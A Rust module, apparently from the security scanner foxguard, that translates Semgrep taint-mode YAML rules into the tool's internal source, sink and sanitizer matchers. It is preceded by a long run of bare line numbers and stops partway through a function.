5316
5317
5318
5319
5320
5321
5322
5323
5324
5325
5326
5327
5328
5329
5330
5331
5332
5333
5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
5609
5610
5611
5612
5613
5614
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629
5630
5631
5632
5633
5634
5635
5636
5637
5638
5639
5640
5641
5642
5643
5644
5645
5646
5647
5648
5649
5650
5651
5652
5653
5654
5655
5656
5657
5658
5659
5660
5661
5662
5663
5664
5665
5666
5667
5668
5669
5670
5671
5672
5673
5674
5675
5676
5677
5678
5679
5680
5681
5682
5683
5684
5685
5686
5687
5688
5689
5690
5691
5692
5693
5694
5695
5696
5697
5698
5699
5700
5701
5702
5703
5704
5705
5706
5707
5708
5709
5710
5711
5712
5713
5714
5715
5716
5717
5718
5719
5720
5721
5722
5723
5724
5725
5726
5727
5728
5729
5730
5731
5732
5733
5734
5735
5736
5737
5738
5739
5740
5741
5742
5743
5744
5745
5746
5747
5748
5749
5750
5751
5752
5753
5754
5755
5756
5757
5758
5759
5760
5761
5762
5763
5764
5765
5766
5767
5768
5769
5770
5771
5772
5773
5774
5775
5776
5777
5778
5779
5780
5781
5782
5783
5784
5785
5786
5787
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798
5799
5800
5801
5802
5803
5804
5805
5806
5807
5808
5809
5810
5811
5812
5813
5814
5815
5816
5817
5818
5819
5820
5821
5822
5823
5824
5825
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842
5843
5844
5845
5846
5847
5848
5849
5850
5851
5852
5853
5854
5855
5856
5857
5858
5859
5860
5861
5862
5863
5864
5865
5866
5867
5868
5869
5870
5871
5872
5873
5874
5875
5876
5877
5878
5879
5880
5881
5882
5883
5884
5885
5886
5887
5888
5889
5890
5891
5892
5893
5894
5895
5896
5897
5898
5899
5900
5901
5902
5903
5904
5905
5906
5907
5908
5909
5910
5911
5912
5913
5914
5915
5916
5917
5918
5919
5920
5921
5922
5923
5924
5925
5926
5927
5928
5929
5930
5931
5932
5933
5934
5935
5936
5937
5938
5939
5940
5941
5942
5943
5944
5945
5946
5947
5948
5949
5950
5951
5952
5953
5954
5955
5956
5957
5958
5959
5960
5961
5962
5963
5964
5965
5966
5967
5968
5969
5970
5971
5972
5973
5974
5975
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986
5987
5988
5989
5990
5991
5992
5993
5994
5995
5996
5997
5998
5999
6000
6001
6002
6003
6004
6005
6006
6007
6008
6009
6010
6011
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
6022
6023
6024
6025
6026
6027
6028
6029
6030
6031
6032
6033
6034
6035
6036
6037
6038
6039
6040
6041
6042
6043
6044
6045
6046
6047
6048
6049
6050
6051
6052
6053
6054
6055
6056
6057
6058
6059
6060
6061
6062
6063
6064
6065
6066
6067
6068
6069
6070
6071
6072
6073
6074
6075
6076
6077
6078
6079
6080
6081
6082
6083
6084
6085
6086
6087
6088
6089
6090
6091
6092
6093
6094
6095
6096
6097
6098
6099
6100
6101
6102
6103
6104
6105
6106
6107
6108
6109
6110
6111
6112
6113
6114
6115
6116
6117
6118
6119
6120
6121
6122
6123
6124
6125
6126
6127
6128
6129
6130
6131
6132
6133
6134
6135
6136
6137
6138
6139
6140
6141
6142
6143
6144
6145
6146
6147
6148
6149
6150
6151
6152
6153
6154
6155
6156
6157
6158
6159
6160
6161
6162
6163
6164
6165
6166
6167
6168
6169
6170
6171
6172
6173
6174
6175
6176
6177
6178
6179
6180
6181
6182
6183
6184
6185
6186
6187
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201
6202
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213
6214
6215
6216
6217
6218
6219
6220
6221
6222
6223
6224
6225
6226
6227
6228
6229
6230
6231
6232
6233
6234
6235
6236
6237
6238
6239
6240
6241
6242
6243
6244
6245
6246
6247
6248
6249
6250
6251
6252
6253
6254
6255
6256
6257
6258
6259
6260
6261
6262
6263
6264
6265
6266
6267
6268
6269
6270
6271
6272
6273
6274
6275
6276
6277
6278
6279
6280
6281
6282
6283
6284
6285
6286
6287
6288
6289
6290
6291
6292
6293
6294
6295
6296
6297
6298
6299
6300
6301
6302
6303
6304
6305
6306
6307
6308
6309
6310
6311
6312
6313
6314
6315
6316
6317
6318
6319
6320
6321
6322
6323
6324
6325
6326
6327
6328
6329
6330
6331
6332
6333
6334
6335
6336
6337
6338
6339
6340
6341
6342
6343
6344
6345
6346
6347
6348
6349
6350
6351
6352
6353
6354
6355
6356
6357
6358
6359
6360
6361
6362
6363
6364
6365
6366
6367
6368
6369
6370
6371
6372
6373
6374
6375
6376
6377
6378
6379
6380
6381
6382
6383
6384
6385
6386
6387
6388
6389
6390
6391
6392
6393
6394
6395
6396
6397
6398
6399
6400
6401
6402
6403
6404
6405
6406
6407
6408
6409
6410
6411
6412
6413
6414
6415
6416
6417
6418
6419
6420
6421
6422
6423
6424
6425
6426
6427
6428
6429
6430
6431
6432
6433
6434
6435
6436
6437
6438
6439
6440
6441
6442
6443
6444
6445
6446
6447
6448
6449
6450
6451
6452
6453
6454
6455
6456
6457
6458
6459
6460
6461
6462
6463
6464
6465
6466
6467
6468
6469
6470
6471
6472
6473
6474
6475
6476
6477
6478
6479
6480
6481
6482
6483
6484
6485
6486
6487
6488
6489
6490
6491
6492
6493
6494
6495
6496
6497
6498
6499
6500
6501
6502
6503
6504
6505
6506
6507
6508
6509
6510
6511
6512
6513
6514
6515
6516
6517
6518
6519
6520
6521
6522
6523
6524
6525
6526
6527
6528
6529
6530
6531
6532
6533
6534
6535
6536
6537
6538
6539
6540
6541
6542
6543
6544
6545
6546
6547
6548
6549
6550
6551
6552
6553
6554
6555
6556
6557
6558
6559
6560
6561
6562
6563
6564
6565
6566
6567
6568
6569
6570
6571
6572
6573
6574
6575
6576
6577
6578
6579
6580
6581
6582
6583
6584
6585
6586
6587
6588
6589
6590
6591
6592
6593
6594
6595
6596
6597
6598
6599
6600
6601
6602
6603
6604
6605
6606
6607
6608
6609
6610
6611
6612
6613
6614
6615
6616
6617
6618
6619
6620
6621
6622
6623
6624
6625
6626
6627
6628
6629
6630
6631
6632
6633
6634
6635
6636
6637
6638
6639
6640
6641
6642
6643
6644
6645
6646
6647
6648
6649
6650
6651
6652
6653
6654
6655
6656
6657
6658
6659
6660
6661
6662
6663
6664
6665
6666
6667
6668
6669
6670
6671
6672
6673
6674
6675
6676
6677
6678
6679
6680
6681
6682
6683
6684
6685
6686
6687
6688
6689
6690
6691
6692
6693
6694
6695
6696
6697
6698
6699
6700
6701
6702
6703
6704
6705
6706
6707
6708
6709
6710
6711
6712
6713
6714
6715
6716
6717
6718
6719
6720
6721
6722
6723
6724
6725
6726
6727
6728
6729
6730
6731
6732
6733
6734
6735
6736
6737
6738
6739
6740
6741
6742
6743
6744
6745
6746
6747
6748
6749
6750
6751
6752
6753
6754
6755
6756
6757
6758
6759
6760
6761
6762
6763
6764
6765
6766
6767
6768
6769
6770
6771
6772
6773
6774
6775
6776
6777
6778
6779
6780
6781
6782
6783
6784
6785
6786
6787
6788
6789
6790
6791
6792
6793
6794
6795
6796
6797
6798
6799
6800
6801
6802
6803
6804
6805
6806
6807
6808
6809
6810
6811
6812
6813
6814
6815
6816
6817
6818
6819
6820
6821
6822
6823
6824
6825
6826
6827
6828
6829
6830
6831
6832
6833
6834
6835
6836
6837
6838
6839
6840
6841
6842
6843
6844
6845
6846
6847
6848
6849
6850
6851
6852
6853
6854
6855
6856
6857
6858
6859
6860
6861
6862
6863
6864
6865
6866
6867
6868
6869
6870
6871
6872
6873
6874
6875
6876
6877
6878
6879
6880
6881
6882
6883
6884
6885
6886
6887
6888
6889
6890
6891
6892
6893
6894
6895
6896
6897
6898
6899
6900
6901
6902
6903
6904
6905
6906
6907
6908
6909
6910
6911
6912
6913
6914
6915
6916
6917
6918
6919
6920
6921
6922
6923
6924
6925
6926
6927
6928
6929
6930
6931
6932
6933
6934
6935
6936
6937
6938
6939
6940
6941
6942
6943
6944
6945
6946
6947
6948
6949
6950
6951
6952
6953
6954
6955
6956
6957
6958
6959
6960
6961
6962
6963
6964
6965
6966
6967
6968
6969
6970
6971
6972
6973
6974
6975
6976
6977
6978
6979
6980
6981
6982
6983
6984
6985
6986
6987
6988
6989
6990
6991
6992
6993
6994
6995
6996
6997
6998
6999
7000
7001
7002
7003
7004
7005
7006
7007
7008
7009
7010
7011
7012
7013
7014
7015
7016
7017
7018
7019
7020
7021
7022
7023
7024
7025
7026
7027
7028
7029
7030
7031
7032
7033
7034
7035
7036
7037
7038
7039
7040
7041
7042
7043
7044
7045
7046
7047
7048
7049
7050
7051
7052
7053
7054
7055
7056
7057
7058
7059
7060
7061
7062
7063
7064
7065
7066
7067
7068
7069
7070
7071
7072
7073
7074
7075
7076
7077
7078
7079
7080
7081
7082
7083
7084
7085
7086
7087
7088
7089
7090
7091
7092
7093
7094
7095
7096
7097
7098
7099
7100
7101
7102
7103
7104
7105
7106
7107
7108
7109
7110
7111
7112
7113
7114
7115
7116
7117
7118
7119
7120
7121
7122
7123
7124
7125
7126
7127
7128
7129
7130
7131
7132
7133
7134
7135
7136
7137
7138
7139
7140
7141
7142
7143
7144
7145
7146
7147
7148
7149
7150
7151
7152
7153
7154
7155
7156
7157
7158
7159
7160
7161
7162
7163
7164
7165
7166
7167
7168
7169
7170
7171
7172
7173
7174
7175
7176
7177
7178
7179
7180
7181
7182
7183
7184
7185
7186
7187
7188
7189
7190
7191
7192
7193
7194
7195
7196
7197
7198
7199
7200
7201
7202
7203
7204
7205
7206
7207
7208
7209
7210
7211
7212
7213
7214
7215
7216
7217
7218
7219
7220
7221
7222
7223
7224
7225
7226
7227
7228
7229
7230
7231
7232
7233
7234
7235
7236
7237
7238
7239
7240
7241
7242
7243
7244
7245
7246
7247
7248
7249
7250
7251
7252
7253
7254
7255
7256
7257
7258
7259
7260
7261
7262
7263
7264
7265
7266
7267
7268
7269
7270
7271
7272
7273
7274
7275
7276
7277
7278
7279
7280
7281
7282
7283
7284
7285
7286
7287
7288
7289
7290
7291
7292
7293
7294
7295
7296
7297
7298
7299
7300
7301
7302
7303
7304
7305
7306
7307
7308
7309
7310
7311
7312
7313
7314
7315
7316
7317
7318
7319
7320
7321
7322
7323
7324
7325
7326
7327
7328
7329
7330
7331
7332
7333
7334
7335
7336
7337
7338
7339
7340
7341
7342
7343
7344
7345
7346
7347
7348
7349
7350
7351
7352
7353
7354
7355
7356
7357
7358
7359
7360
7361
7362
7363
7364
7365
7366
7367
7368
7369
7370
7371
7372
7373
7374
7375
7376
7377
7378
7379
7380
7381
7382
7383
7384
7385
7386
7387
7388
7389
7390
7391
7392
7393
7394
7395
7396
7397
7398
7399
7400
7401
7402
7403
7404
7405
7406
7407
7408
7409
7410
7411
7412
7413
7414
7415
7416
7417
7418
7419
7420
7421
7422
7423
7424
7425
7426
7427
7428
7429
7430
7431
7432
7433
7434
7435
7436
7437
7438
7439
7440
7441
7442
7443
7444
7445
7446
7447
7448
7449
7450
7451
7452
7453
7454
7455
7456
7457
7458
7459
7460
7461
7462
7463
7464
7465
7466
7467
7468
7469
7470
7471
7472
7473
7474
7475
7476
7477
7478
7479
7480
7481
7482
7483
7484
7485
7486
7487
7488
7489
7490
7491
7492
7493
7494
7495
7496
7497
7498
7499
7500
7501
7502
7503
7504
7505
7506
7507
7508
7509
7510
7511
7512
7513
7514
7515
7516
7517
7518
7519
7520
7521
7522
7523
7524
7525
7526
7527
7528
7529
7530
7531
7532
7533
7534
7535
7536
7537
7538
7539
7540
7541
7542
7543
7544
7545
7546
7547
7548
7549
7550
7551
7552
7553
7554
7555
7556
7557
7558
7559
7560
7561
7562
7563
7564
7565
7566
7567
7568
7569
7570
7571
7572
7573
7574
7575
7576
7577
7578
7579
7580
7581
7582
7583
7584
7585
7586
7587
7588
7589
7590
7591
7592
7593
7594
7595
7596
7597
7598
7599
7600
7601
7602
7603
7604
7605
7606
7607
7608
7609
7610
7611
7612
7613
7614
7615
7616
7617
7618
7619
7620
7621
7622
7623
7624
7625
7626
7627
7628
7629
7630
7631
7632
7633
7634
7635
7636
7637
7638
7639
7640
7641
7642
7643
7644
7645
7646
7647
7648
7649
7650
7651
7652
7653
7654
7655
7656
7657
7658
7659
7660
7661
7662
7663
7664
7665
7666
7667
7668
7669
7670
7671
7672
7673
7674
7675
7676
7677
7678
7679
7680
7681
7682
7683
7684
7685
7686
7687
7688
7689
7690
7691
7692
7693
7694
7695
7696
7697
7698
7699
7700
7701
7702
7703
7704
7705
7706
7707
7708
7709
7710
7711
7712
7713
7714
7715
7716
7717
7718
7719
7720
7721
7722
7723
7724
7725
7726
7727
7728
7729
7730
7731
7732
7733
7734
7735
7736
7737
7738
7739
7740
7741
7742
7743
7744
7745
7746
7747
7748
7749
7750
7751
7752
7753
7754
7755
7756
7757
7758
7759
7760
7761
7762
7763
7764
7765
7766
7767
7768
7769
7770
7771
7772
7773
7774
7775
7776
7777
7778
7779
7780
7781
7782
7783
7784
7785
7786
7787
7788
7789
7790
7791
7792
7793
7794
7795
7796
7797
7798
7799
7800
7801
7802
7803
7804
7805
7806
7807
7808
7809
7810
7811
7812
7813
7814
7815
7816
7817
7818
7819
7820
7821
7822
7823
7824
7825
7826
7827
7828
7829
7830
7831
7832
7833
7834
7835
7836
7837
7838
7839
7840
7841
7842
7843
7844
7845
7846
7847
7848
7849
7850
7851
7852
7853
7854
7855
7856
7857
7858
7859
7860
7861
7862
7863
7864
7865
7866
7867
7868
7869
7870
7871
7872
7873
7874
7875
7876
7877
7878
7879
7880
7881
7882
7883
7884
7885
7886
7887
7888
7889
7890
7891
7892
7893
7894
7895
7896
7897
7898
7899
7900
7901
7902
7903
7904
7905
7906
7907
7908
7909
7910
7911
7912
7913
7914
7915
7916
7917
7918
7919
7920
7921
7922
7923
7924
7925
7926
7927
7928
7929
7930
7931
7932
7933
7934
7935
7936
7937
7938
7939
7940
7941
7942
7943
7944
7945
7946
7947
7948
7949
7950
7951
7952
7953
7954
7955
7956
7957
7958
7959
7960
7961
7962
7963
7964
7965
7966
7967
7968
7969
7970
7971
7972
7973
7974
7975
7976
7977
7978
7979
7980
7981
7982
7983
7984
7985
7986
7987
7988
7989
7990
7991
7992
7993
7994
7995
7996
7997
7998
7999
8000
8001
8002
8003
8004
8005
8006
8007
8008
8009
8010
8011
8012
8013
8014
8015
8016
8017
8018
8019
8020
8021
8022
8023
8024
8025
8026
8027
8028
8029
8030
8031
8032
8033
8034
8035
8036
8037
8038
8039
8040
8041
8042
8043
8044
8045
8046
8047
8048
8049
8050
8051
8052
8053
8054
8055
8056
8057
8058
8059
8060
8061
8062
8063
8064
8065
8066
8067
8068
8069
8070
8071
8072
8073
8074
8075
8076
8077
8078
8079
8080
8081
8082
8083
8084
8085
8086
8087
8088
8089
8090
8091
8092
8093
8094
8095
8096
8097
8098
8099
8100
8101
8102
8103
8104
8105
8106
8107
8108
8109
8110
8111
8112
8113
8114
8115
8116
8117
8118
8119
8120
8121
8122
8123
8124
8125
8126
8127
8128
8129
8130
8131
8132
8133
8134
8135
8136
8137
8138
8139
8140
8141
8142
8143
8144
8145
8146
8147
8148
8149
8150
8151
8152
8153
8154
8155
8156
8157
8158
8159
8160
8161
8162
8163
8164
8165
8166
8167
8168
8169
8170
8171
8172
8173
8174
8175
8176
8177
8178
8179
8180
8181
8182
8183
8184
8185
8186
8187
8188
8189
8190
8191
8192
8193
8194
8195
8196
8197
8198
8199
8200
8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
8228
8229
8230
8231
8232
8233
8234
8235
8236
8237
8238
8239
8240
8241
8242
8243
8244
8245
8246
8247
8248
8249
8250
8251
8252
8253
8254
8255
8256
8257
8258
8259
8260
8261
8262
8263
8264
8265
8266
8267
8268
8269
8270
8271
8272
8273
8274
8275
8276
8277
8278
8279
8280
8281
8282
8283
8284
8285
8286
8287
8288
8289
8290
8291
8292
8293
8294
8295
8296
8297
8298
8299
8300
8301
8302
8303
8304
8305
8306
8307
8308
8309
8310
8311
8312
8313
8314
8315
8316
8317
8318
8319
8320
8321
8322
8323
8324
8325
8326
8327
8328
8329
8330
8331
8332
8333
8334
8335
8336
8337
8338
8339
8340
8341
8342
8343
8344
8345
8346
8347
8348
8349
8350
8351
8352
8353
8354
8355
8356
8357
8358
8359
8360
8361
8362
8363
8364
8365
8366
8367
8368
8369
8370
8371
8372
8373
8374
8375
8376
8377
8378
8379
8380
8381
8382
8383
8384
8385
8386
8387
8388
8389
8390
8391
8392
8393
8394
8395
8396
8397
8398
8399
8400
8401
8402
8403
8404
8405
8406
8407
8408
8409
8410
8411
8412
8413
8414
8415
8416
8417
8418
8419
8420
8421
8422
8423
8424
8425
8426
8427
8428
8429
8430
8431
8432
8433
8434
8435
8436
8437
8438
8439
8440
8441
8442
8443
8444
8445
8446
8447
8448
8449
8450
8451
8452
8453
8454
8455
8456
8457
8458
//! Semgrep-compatible YAML bridge for `mode: taint` rules.
//!
//! This module parses a *narrow* subset of Semgrep's taint-mode schema into
//! foxguard's [`TaintSpec`] so that users can load existing Semgrep taint
//! rules via `--rules` without rewriting them.
//!
//! # Supported today
//!
//! - `mode: taint` with `languages: [python]`, `languages: [javascript]` /
//!   `[typescript]` / `[js]` / `[ts]`, `languages: [go]` / `[golang]`,
//!   `languages: [java]`, `languages: [c]`, `languages: [kotlin]` /
//!   `[kt]`, `languages: [ruby]` / `[rb]`, or `languages: [php]`.
//!   Other languages are rejected with a warning and the rule is skipped;
//!   non-taint rules fall through to the regular Semgrep bridge.
//! - `pattern-sources`, `pattern-sinks`, `pattern-sanitizers` as lists of
//!   single-`pattern:` entries, `pattern-either:` lists (which may nest
//!   recursively and flatten into multiple matchers for the same role), **or**
//!   `patterns:` AND-blocks (see below).
//! - `patterns:` AND-blocks inside source/sink/sanitizer entries: the bridge
//!   extracts all `pattern:` and `pattern-either:` sub-items as expressible
//!   matchers. Constraint-only sub-items (`pattern-inside:`, `pattern-not:`,
//!   `focus-metavariable:`, `metavariable-*:`) are dropped with a per-key
//!   warning (documented broadening — see COMPATIBILITY.md). If the block
//!   produces at least one expressible matcher, the entry is loaded; otherwise
//!   the entry is warn-skipped without aborting the whole rule.
//! - Severity mapping via the same `map_severity` used by the pattern-rule
//!   bridge (`ERROR` → Critical, `WARNING` → High, `INFO` → Medium).
//! - `metadata.cwe` propagated to findings.
//!
//! # Unsupported (rule is skipped with a warning)
//!
//! - Any `mode: taint` rule that does not target Python, JavaScript/TypeScript,
//!   Go, Java, C, or Kotlin.
//! - Any `pattern:` string whose shape is not one of:
//!   - bare identifier (`request`) — compiled to `ParamName`
//!   - dotted attribute chain (`request.data`, `request.json`) — compiled
//!     to `Attribute { root, field }` using the *leftmost* identifier and
//!     the *outermost* attribute (nested chains like `request.session.id`
//!     are flattened to `root="request", field="id"`; documented as a known
//!     gap that matches the engine's own one-level attribute propagation).
//!   - call form (`pickle.loads($X)`, `pickle.loads(...)`, `func($X)`,
//!     `func()`) — compiled to `Call { canonical }`, stripping arguments.
//!   - metavariable-receiver call (`$CONN.executeQuery($X)`,
//!     `$OBJ.innerHTML($X)`) — compiled to `MethodName { method }`, which
//!     matches any invocation of that method name regardless of receiver.
//!     Only valid as a sink or sanitizer shape; rejected as a source.
//!   - metavariable-receiver assignment (`$EL.innerHTML = $X`,
//!     `$EL.outerHTML = $X`) — compiled to `MemberAssign { field }`, which
//!     matches any property-assignment sink whose property name equals
//!     `field`. Only meaningful for JavaScript/TypeScript rules (the JS
//!     engine recognises this as a DOM-XSS sink pattern); other language
//!     engines include the matcher in the compiled spec but silently ignore
//!     it. Only valid as a sink or sanitizer shape; rejected as a source.
//!
//! A `patterns:` entry with NO expressible matchers (only constraint-only
//! sub-items) is warn-skipped. If all source or sink entries are warn-skipped
//! and none survive, the whole rule is skipped.

use crate::rules::apex_taint;
use crate::rules::bash_taint;
use crate::rules::c_taint;
use crate::rules::common::get_source_line;
use crate::rules::csharp_taint;
use crate::rules::go_taint;
use crate::rules::java_taint;
use crate::rules::javascript_taint;
use crate::rules::kotlin_taint;
use crate::rules::php_taint;
use crate::rules::python_taint;
use crate::rules::ruby_taint;
use crate::rules::scala_taint;
use crate::rules::solidity_taint;
use crate::rules::swift_taint;
use crate::rules::{FileContext, Rule};
use crate::{Finding, Language, Severity};
use serde_yaml_ng::Value as YamlValue;

// ─── Language-agnostic intermediate representation ───────────────────────
//
// The YAML bridge only produces three matcher shapes (Attribute, Call,
// ParamName).  Each engine has its own `NodeMatcher` enum with extra
// variants, but the YAML-compiled subset is identical across all three.
// We compile YAML into `GenericMatcher` first, then convert to the
// engine-specific type at analysis time.

#[derive(Clone, Debug)]
enum GenericMatcher {
    Attribute {
        root: String,
        field: String,
        description: String,
    },
    Call {
        canonical: String,
        description: String,
    },
    ParamName {
        names: Vec<String>,
        description: String,
    },
    /// Matches any method call whose final method name equals `method`,
    /// regardless of receiver. Compiled from patterns of the form
    /// `$METAVAR.method($X)` — the metavariable receiver is discarded and
    /// the engine matches any invocation of that method name.
    ///
    /// Supported as a sink/sanitizer shape for Python, JavaScript, Go, Java,
    /// and Kotlin. For C the matcher is included in the spec but the C engine
    /// only matches bare `Call` patterns, so `MethodName` entries are silently
    /// skipped (no C OOP method calls exist).
    MethodName { method: String, description: String },

    /// Matches any call whose CALLEE TEXT matches a compiled regex. Compiled
    /// from a taint sink/sanitizer `patterns:` AND-block that pairs a bare
    /// metavariable callee pattern (`$F(...)`) with a `metavariable-regex`
    /// pinning that metavariable. The regex is what bounds the otherwise
    /// universal bare-metavar callee, so the shape becomes FP-safe (only calls
    /// whose callee matches fire). Sink/sanitizer only.
    CallRegex {
        regex: crate::rules::semgrep_compat::CompiledRegex,
        description: String,
    },

    /// Matches any method call whose FINAL METHOD NAME matches a compiled
    /// regex, regardless of receiver. Compiled from a `$OBJ.$M(...)` pattern
    /// paired with a `metavariable-regex` pinning the method metavariable `$M`.
    /// The any-receiver, regex-bounded analogue of [`GenericMatcher::MethodName`].
    /// Sink/sanitizer only.
    MethodNameRegex {
        regex: crate::rules::semgrep_compat::CompiledRegex,
        description: String,
    },

    /// Matches any call whose callee root identifier equals `receiver`,
    /// regardless of method — compiled from `receiver.$METAVAR(...)` where
    /// `receiver` is a concrete identifier and the method is a metavariable
    /// (e.g. `os.$METHOD(...)`, `subprocess.$FUNC(...)`, `Kernel.$X(...)`).
    /// The symmetric counterpart of [`GenericMatcher::MethodName`]. Sink or
    /// sanitizer only.
    ReceiverCall {
        receiver: String,
        description: String,
    },

    /// Matches a member/property/attribute READ `<anything>.field`
    /// regardless of the receiver. Compiled from patterns of the form
    /// `$METAVAR.field` (a metavariable receiver, a plain-identifier field),
    /// e.g. `$REQ.body`, `$REQ.query`, `$REQ.headers`, `$REQ.cookies`,
    /// `$REQ.params`.
    ///
    /// This is the any-receiver analogue of [`GenericMatcher::Attribute`],
    /// which requires a concrete `root` identifier and so rejects a
    /// metavariable receiver like `$REQ.body`. It is the dominant rejected
    /// source shape across the registry (web-request property reads).
    ///
    /// Meaningful for object/property languages (Python, JS/TS, Go, Java,
    /// Kotlin, Ruby, PHP, C#) as a source, sink, or sanitizer. For C the
    /// matcher is carried in the spec but the engine no-ops it (plain C has
    /// no property-read sources).
    FieldName { field: String, description: String },

    /// Matches a subscript / index access `base[...]`. Compiled from patterns
    /// like `params[...]`, `cookies[...]`, `request.POST[...]`,
    /// `flask.request.args[...]`, or `$VALS[$INDEX]`.
    ///
    /// `base = Some(name)` matches a subscript whose indexed operand's final
    /// segment equals `name` (the last identifier before the `[`). For a
    /// metavariable base (`$M[...]`, `$VALS[$INDEX]`) `base = None` matches
    /// any subscript. Web frameworks express request-map indexing this way
    /// (`request.POST[...]`, `flask.request.args[...]`).
    ///
    /// Meaningful for object/property languages; the C engine no-ops it.
    Subscript {
        base: Option<String>,
        description: String,
    },

    /// Matches a property-assignment sink of the form `$EL.field = $X`.
    /// Compiled from Semgrep patterns like `$EL.innerHTML = $X` where the
    /// receiver is any Semgrep metavariable and `field` is a plain identifier.
    ///
    /// Only meaningful as a sink shape for JavaScript/TypeScript rules — the
    /// JS engine recognises `NodeMatcher::MemberAssign` for DOM-XSS patterns
    /// (`element.innerHTML = tainted`, `element.outerHTML = tainted`, etc.).
    /// For all other language engines the matcher is included in the compiled
    /// spec but silently ignored (those engines have no concept of
    /// property-assignment sinks). Only valid as a sink or sanitizer shape;
    /// rejected as a source.
    MemberAssign { field: String, description: String },

    /// Matches a string-building SINK containing a tainted value. Compiled
    /// from Semgrep sink patterns such as `"$SQL" + $EXPR`, `$M % $M`,
    /// `$A + $B`, f-strings `f"...{$X}..."`, and format calls
    /// `fmt.Sprintf("$FMT", ...)`, `sprintf($FMT, ...)`.
    ///
    /// Semantics: a SINK that is a binary `+`/`%` expression, an interpolated/
    /// format string, or a format call where one operand is a string literal/
    /// format AND the tainted value flows into another operand. Conservative
    /// (a non-tainted or literal-only concatenation never fires). Maps to
    /// SQL-injection / command-string sinks. Sink/sanitizer only.
    BinopFormat { description: String },

    /// Matches an object/dict literal SINK one of whose value positions holds a
    /// tainted expression. Compiled from Semgrep sink patterns such as
    /// `{role: "system", content: $SINK}` (JS object literal) or
    /// `{"role": "system", "content": $SINK}` (Python dict) — the LLM
    /// system-prompt-injection rules (`openai`/`mistral`).
    ///
    /// Semantics: a SINK that is an object/dict literal construction where some
    /// field's value is the tainted value. Conservative (only fires when a
    /// literal is actually constructed AND a tainted value reaches a value
    /// slot). Sink/sanitizer only — a literal construction is a destination,
    /// not a taint origin. JS/TS and Python engines match it; others carry it.
    ObjectLiteralValue { description: String },

    /// Matches a `return $METAVAR` SINK: a `return` statement whose returned
    /// value is tainted. Compiled from Semgrep sink patterns of the form
    /// `return $SINK` / `return $X` (LLM "unsanitized return" and Flask
    /// directly-returned-format rules). Bounded to return position — only fires
    /// when a `return` returns a tainted value, not a universal bare-metavar
    /// sink. Sink/sanitizer only. Matched by the Python engine.
    ReturnValue { description: String },
}

#[derive(Clone, Debug)]
struct GenericSpec {
    sources: Vec<GenericMatcher>,
    sinks: Vec<GenericMatcher>,
    sanitizers: Vec<GenericMatcher>,
}

/// Convert the generic spec into a Python taint spec.
fn to_python_spec(g: &GenericSpec) -> python_taint::TaintSpec {
    python_taint::TaintSpec {
        sources: g.sources.iter().map(to_python_matcher).collect(),
        sinks: g.sinks.iter().map(to_python_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_python_matcher).collect(),
    }
}

fn to_python_matcher(m: &GenericMatcher) -> python_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => python_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => python_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => python_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => python_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => python_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            python_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => python_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => python_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => python_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the Python engine ignores it (no property-assignment sinks in Python).
